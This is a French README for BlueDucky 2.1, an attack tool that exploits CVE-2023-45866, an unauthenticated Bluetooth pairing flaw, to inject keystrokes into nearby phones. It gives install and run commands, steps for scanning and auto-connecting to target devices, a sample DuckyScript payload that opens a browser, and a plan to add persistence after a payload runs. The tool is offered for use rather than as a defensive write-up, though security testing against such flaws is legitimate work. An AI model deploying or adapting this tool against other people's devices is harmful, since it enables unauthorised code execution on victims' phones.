BlueDucky Ver 2.1 (Android) 🦆

Merci à tous les gens de HackNexus. N'oubliez pas de nous rejoindre en vocal ! https://discord.gg/HackNexus

REMARQUES : Je ne pourrai pas exécuter cela sur un ordinateur portable ou un autre appareil autre qu'un Raspberry Pi pour les tests. De ce fait, tout problème que vous rencontrez devra être résolu entre vous, car je n'ai pas les fonds nécessaires pour acheter un adaptateur.

1. GitHub de saad0x1
2. GitHub de spicydll
3. GitHub de lamentomori

🚨 CVE-2023-45866 - Implémentation BlueDucky (Utilisation de DuckyScript)

🔓 Appairage non authentifié menant à l'exécution de code (Utilisation du clavier HID)

Ceci est une implémentation de la CVE découverte par marcnewlin

Introduction 📢

BlueDucky est un outil puissant pour exploiter une vulnérabilité dans les appareils Bluetooth. En exécutant ce script, vous pouvez :

1. 📡 Charger les appareils Bluetooth sauvegardés qui ne sont plus visibles mais dont le Bluetooth est toujours activé.
2. 📂 Sauvegarder automatiquement tous les appareils que vous analysez.
3. 💌 Envoyer des messages via le format ducky script pour interagir avec les appareils.

J'ai exécuté ce script avec succès sur un Raspberry Pi 4 en utilisant le module Bluetooth par défaut. Il fonctionne sur divers téléphones, avec une exception intéressante pour une marque néo-zélandaise, Vodafone.

Installation et Utilisation 🛠️

Instructions d'installation pour Debian et ses dérivés

# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Instructions d'installation pour Arch et ses dérivés

# update pacman & packages
sudo pacman -Syyu

# install dependencies
# since arch doesn't separate lib packages: libbluetooth-dev included in bluez package
sudo pacman -S bluez-tools bluez-utils bluez-deprecated-tools \
               python-setuptools python-pydbus python-dbus
               git gcc python-pip \

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Exécution de BlueDucky

git clone https://github.com/pentestfunctions/BlueDucky.git
cd BlueDucky
sudo hciconfig hci0 up
python3 BlueDucky.py

alternativement,

pip3 install -r requirements.txt

Étapes opérationnelles 🕹️

1. Au lancement, il demande l'adresse MAC cible.
2. Ne rien appuyer déclenche une analyse automatique des appareils.
3. Les appareils précédemment trouvés sont stockés dans known_devices.txt.
4. Si known_devices.txt existe, il vérifie ce fichier avant l'analyse.
5. S'exécute en utilisant le fichier payload.txt.
6. Une exécution réussie entraînera une connexion automatique et l'exécution du script.

DuckyScript 💻

🚧 Travail en cours :

• Suggérez-moi des idées

Version 2.1 🐛

• Interface utilisateur mise à jour
• Expérience utilisateur améliorée
• Débogueur Bluetooth ; vérifie vos adaptateurs Bluetooth et les dépendances installées avant de permettre l'accès à l'application, ceci afin d'éviter les appareils non pris en charge.
• Veuillez noter : de nombreux changements ont été effectués, veuillez consulter l'historique des commits pour les modifications spécifiques.

Qu'est-ce qui est prévu pour la prochaine version ?

• Console DuckyScript intégrée pour les attaques souhaitant maintenir une persistance après l'exécution d'un payload
• Suggérez ce qui devrait être ajouté ensuite ! Rejoignez https://discord.gg/HackNexus

📝 Exemple de payload.txt :

REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<.>/?
GUI D

REM Opens a private browser to hackertyper.net
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING hackertyper.net
DELAY 300
ENTER
DELAY 300

Amusez-vous à expérimenter BlueDucky ! 🌟